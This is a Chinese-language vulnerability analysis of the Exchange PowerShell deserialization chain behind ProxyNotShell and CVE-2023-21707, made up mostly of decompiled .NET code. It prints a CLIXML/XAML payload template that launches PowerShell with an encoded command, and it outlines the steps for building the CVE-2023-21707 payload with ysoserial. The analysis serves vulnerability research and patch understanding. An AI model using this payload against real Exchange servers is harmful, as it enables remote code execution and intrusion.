漏洞原理
流程梳理
先分析一下与 powershell 接口交互的 xml 数据的处理流程。xml 信息传入后,会被 PSSerializer.Deserialize
反序列化后作为 PSObject
类。
// System.Management.Automation.PSObject
private object lockObject = new object();
protected PSObject(SerializationInfo info, StreamingContext context)
{
if
(info == null)
{
throw PSTraceSource.NewArgumentNullException(
"info"
);
}
string text = info.GetValue(
"CliXml"
, typeof(string)) as string;
if
(text == null)
{
throw PSTraceSource.NewArgumentNullException(
"info"
);
}
PSObject psobject = PSObject.AsPSObject(PSSerializer.Deserialize(text));
this.CommonInitialization(psobject.ImmediateBaseObject);
PSObject.CopyDeserializerFields(psobject, this);
}
其调用链如下
而当 targetTypeForDeserialization
不为空时,ReadOneObject
会继续调用 LanguagePrimitives.ConvertTo
将 obj 转换为指定的类型。
internal object ReadOneObject(out string streamName)
{
//...
if
(null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization,
true
, CultureInfo.InvariantCulture, this._typeTable);
PSEtwLog.LogAnalyticVerbose(PSEventId.Serializer_RehydrationSuccess, PSOpcode.Rehydration, PSTask.Serialization, PSKeyword.Serializer, new object[]
{
psobject.InternalTypeNames.Key,
targetTypeForDeserialization.FullName,
obj2.GetType().FullName
});
return
obj2;
}
//...
}
targetTypeForDeserialization
通过 GetTargetTypeForDeserialization
获取,而 GetTargetTypeForDeserialization
又调用了 GetPSStandardMember
。首先调用 TypeTableGetMemberDelegate
根据 this
的类型和 typeTable
即 types.ps1xml
找到 PSStandardMembser
。
internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
{
PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable,
"TargetTypeForDeserialization"
);
if
(psstandardMember != null)
{
return
psstandardMember.Value as Type;
}
return
null;
}
internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
{
PSMemberInfo psmemberInfo = null;
TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
if
(typeTable != null)
{
PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable,
"PSStandardMembers"
);
if
(psmemberSet != null)
{
psmemberSet.ReplicateInstance(this);
psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
}
}
if
(psmemberInfo == null)
{
psmemberInfo = (this.InstanceMembers[
"PSStandardMembers"
] as PSMemberSet);
}
return
psmemberInfo;
}
而后调用 GetMemberCollection
,一个从 PowerShell 的内部实现中获取 PSMemberInfo 对象集合的方法。它根据给定的 viewType
和从 backupTypeTable
获取对应的 PSMemberInfo
集合。
PSMemberViewTypes 是一个枚举,用来指示获取哪种类型的成员信息。它可以是以下几种:
-
Extended:获取扩展成员,即那些由类型数据表定义的成员。 -
Adapted:获取适配成员,即那些由 PowerShell 适配器添加的成员。 -
Base:获取基础成员,即那些直接从.NET 对象继承的成员。
而调用时使用的是 PSMemberViewTypes.All
,这就导致可以通过 extended 或 adapted 属性自定义一个 Type,让 GetTargetTypeForDeserialization
返回自定义的类型,进行反序列化。
internal static Collection<CollectionEntry<PSMemberInfo>> GetMemberCollection(PSMemberViewTypes viewType, TypeTable backupTypeTable)
{
Collection<CollectionEntry<PSMemberInfo>> collection = new Collection<CollectionEntry<PSMemberInfo>>();
if
((viewType & PSMemberViewTypes.Extended) == PSMemberViewTypes.Extended)
{
if
(backupTypeTable == null)
{
collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.TypeTableGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.TypeTableGetMemberDelegate<PSMemberInfo>),
true
,
true
,
"type table members"
));
}
else
{
collection.Add(new CollectionEntry<PSMemberInfo>((PSObject msjObj) => PSObject.TypeTableGetMembersDelegate<PSMemberInfo>(msjObj, backupTypeTable), (PSObject msjObj, string name) => PSObject.TypeTableGetMemberDelegate<PSMemberInfo>(msjObj, backupTypeTable, name),
true
,
true
,
"type table members"
));
}
}
if
((viewType & PSMemberViewTypes.Adapted) == PSMemberViewTypes.Adapted)
{
collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.AdapterGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.AdapterGetMemberDelegate<PSMemberInfo>),
false
,
false
,
"adapted members"
));
}
if
((viewType & PSMemberViewTypes.Base) == PSMemberViewTypes.Base)
{
collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.DotNetGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.DotNetGetMemberDelegate<PSMemberInfo>),
false
,
false
,
"clr members"
));
}
return
collection;
}
ConvertTo gadget 分析
根据 [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf 中关于 LanguagePrimitives.ConvertTo](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf 中关于 LanguagePrimitives.ConvertTo) 的分析,可知其有几种可能的利用:
-
调用任意包含一个可指定参数的 public 类的 constructor
调用如下
fromType
与 toType
即原 obj 类型与 targetTypeForDeserialization
指定 type
-
调用可控类的静态 public Parse(string) 方法
调用如下
如下调用了 toType 的 Parse 方法
-
执行自定义的 Convert
通过 LanguagePrimitives.FigureConversion
获取对应的 ConverterData
,其中包含对应的 Converter
,并通过其执行进一步的 Convert
操作
Proxynotshell payload 分析
首先是 proxynotshell 的反序列化部分,情报中公布的 poc 直接修改了 python 的 pypsrp 包进行交互,xml 中还包括了很多其他所需内容。忽略其他信息,关键的类如下。即这个命令的 -Identity
: 参数是一个 Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData
类,包含两个属性,其中一个 Type 属性是 TargetTypeForDeserialization
对象。
<Obj N=
"Args"
RefId=
"12"
>
<TNRef RefId=
"0"
/>
<LST>
<Obj RefId=
"13"
>
<MS>
<S N=
"N"
>-Identity:</S>
<Obj N=
"V"
RefId=
"14"
>
<TN RefId=
"2"
>
<T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N=
"Name"
>Type</S>
<Obj N=
"TargetTypeForDeserialization"
>
<TN RefId=
"2"
>
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N=
"SerializationData"
>AAEAAAD /////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S>
<![CDATA[<ObjectDataProvider MethodName=
"Start"
IsInitialLoadEnabled=
"False"
xmlns=
"http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd=
"clr-namespace:System.Diagnostics;assembly=System"
xmlns:x=
"http://schemas.microsoft.com/winfx/2006/xaml"
> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments=
"-e $
$POWERSHELL_ENCODE_PAYLOAD_HERE
$$"
StandardErrorEncoding=
"{x:Null}"
StandardOutputEncoding=
"{x:Null}"
UserName=
""
Password=
"{x:Null}"
Domain=
""
LoadUserProfile=
"False"
FileName=
"powershell"
/> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider>]]>
<S/>
</Obj>
</MS>
</Obj>
</LST>
</Obj>
递归进行反序列化时,TargetTypeForDeserialization
首当其冲。TargetTypeForDeserialization
指定的类型是 System.Exception
,这里就是上文中的第三种利用。在 exchange.partial.types.ps1xml
中可以找到其指定的 Converter
。
找到 Microsoft.Exchange.Data.SerializationTypeConverter
,其 convert
操作都调用了 DeserializeObject
private object DeserializeObject(object sourceValue, Type destinationType)
{
Exception ex = null;
byte[] array;
string text;
if
(!this.CanConvert(sourceValue, destinationType, out array, out text, out ex))
{
throw ex;
}
// ...
try
{
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream);
// ...
}
// ...
}
DeserializeObject
首先调用了 CanConvert
,将 SerializationData
的值放到 serializationData
也就是 array
中,而后又赋值给 memoryStream
进行进一步反序列化
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
// ...
object value = psobject.Properties[
"SerializationData"
].Value;
if
(!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return
false
;
}
stringValue = psobject.ToString();
serializationData = (value as byte[]);
return
true
;
}
Deserialize
中生成 BinaryFormatter
对数据进行进一步反序列化,而此处 allowedTypes
即为白名单,其中就包含有 System.UnitySerializationHolder
internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return
ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream);
}
简单查看序列化的内容 base64 解码即可看出,借用 System.UnitySerializationHolder
反序列化后 FormatInfoData
的 Type 是一个 System.Windows.Markup.XamlReader
实例
而接下来进行进一步反序列化,但由于 types.ps1xml
中并没有指定 FormatInfoData
的相关信息,而根据流程梳理最后部分的叙述可知,此时的 targetTypeForDeserialization
就是其 Type 属性,也就是那个 System.Windows.Markup.XamlReader
实例。而此时再利用 gadget 的第二条,调用其 Parse
方法,解析 xaml 语句即可实现利用启动 powershell 进行 rce
修复:引入了一个 UnitySerializationHolderSurrogateSelector
,会在 System.UnitySerializationHolder
反序列化过程中验证目标的类型。因此,Parse(string)
不再可能利用此漏洞进行调用。
CVE-2023-21707 分析
类似于 Proxynotshell 的利用流程,直到调用了 BinaryFormatter
的反序列化。
在 BinaryFormatter
反序列化的白名单中,又找到了一个特殊的类:Microsoft.Exchange.Security.Authentication.GenericSidIdentity
,这个类也在白名单中。
且这个类继承了 ClaimsIdentity
这个著名的.Net 反序列化 gadget 类。
ClaimsIdentity
的 OnDeserializedMethod
中对 m_serializedClaims
进行了二次反序列化
// System.Security.Claims.ClaimsIdentity
[OnDeserialized]
[SecurityCritical]
private void OnDeserializedMethod(StreamingContext context)
{
if
(this is ISerializable)
{
return
;
}
if
(!string.IsNullOrEmpty(this.m_serializedClaims))
{
this.DeserializeClaims(this.m_serializedClaims);
this.m_serializedClaims = null;
}
this.m_nameType = (string.IsNullOrEmpty(this.m_serializedNameType) ?
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"
: this.m_serializedNameType);
this.m_roleType = (string.IsNullOrEmpty(this.m_serializedRoleType) ?
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role"
: this.m_serializedRoleType);
}
DeserializeClaims
将数据 base64 解码后同样也使用了 BinaryFormatter
进行进一步反序列化。
// System.Security.Claims.ClaimsIdentity
[SecurityCritical]
private void DeserializeClaims(string serializedClaims)
{
if
(!string.IsNullOrEmpty(serializedClaims))
{
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(serializedClaims)))
{
this.m_instanceClaims = (List<Claim>)new BinaryFormatter().Deserialize(memoryStream, null,
false
);
for
(int i = 0; i < this.m_instanceClaims.Count; i++)
{
this.m_instanceClaims[i].Subject = this;
}
}
}
if
(this.m_instanceClaims == null)
{
this.m_instanceClaims = new List<Claim>();
}
}
故首先利用 yso 生成 ClaimsIdentity
的 BinaryFormatter
的反序列化 payload,再将 payload 的 b64 编码数据通过反射放入 ClaimsIdentity
的 m_serializedClaims
中。也就是 Microsoft.Exchange.Security.Authentication.GenericSidIdentity
的 m_serializedClaims
中,再将这个类通过 BinaryFormatter 进行序列化,将序列化结果写入exception的SerializationData
,就得到了可用的 payload。这里就不贴代码了。
原文地址:https://xz.aliyun.com/t/12634#toc-2
若有侵权请联系删除
原文始发于微信公众号(红蓝公鸡队):Proxynotshell 反序列化及 CVE-2023-21707 漏洞研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论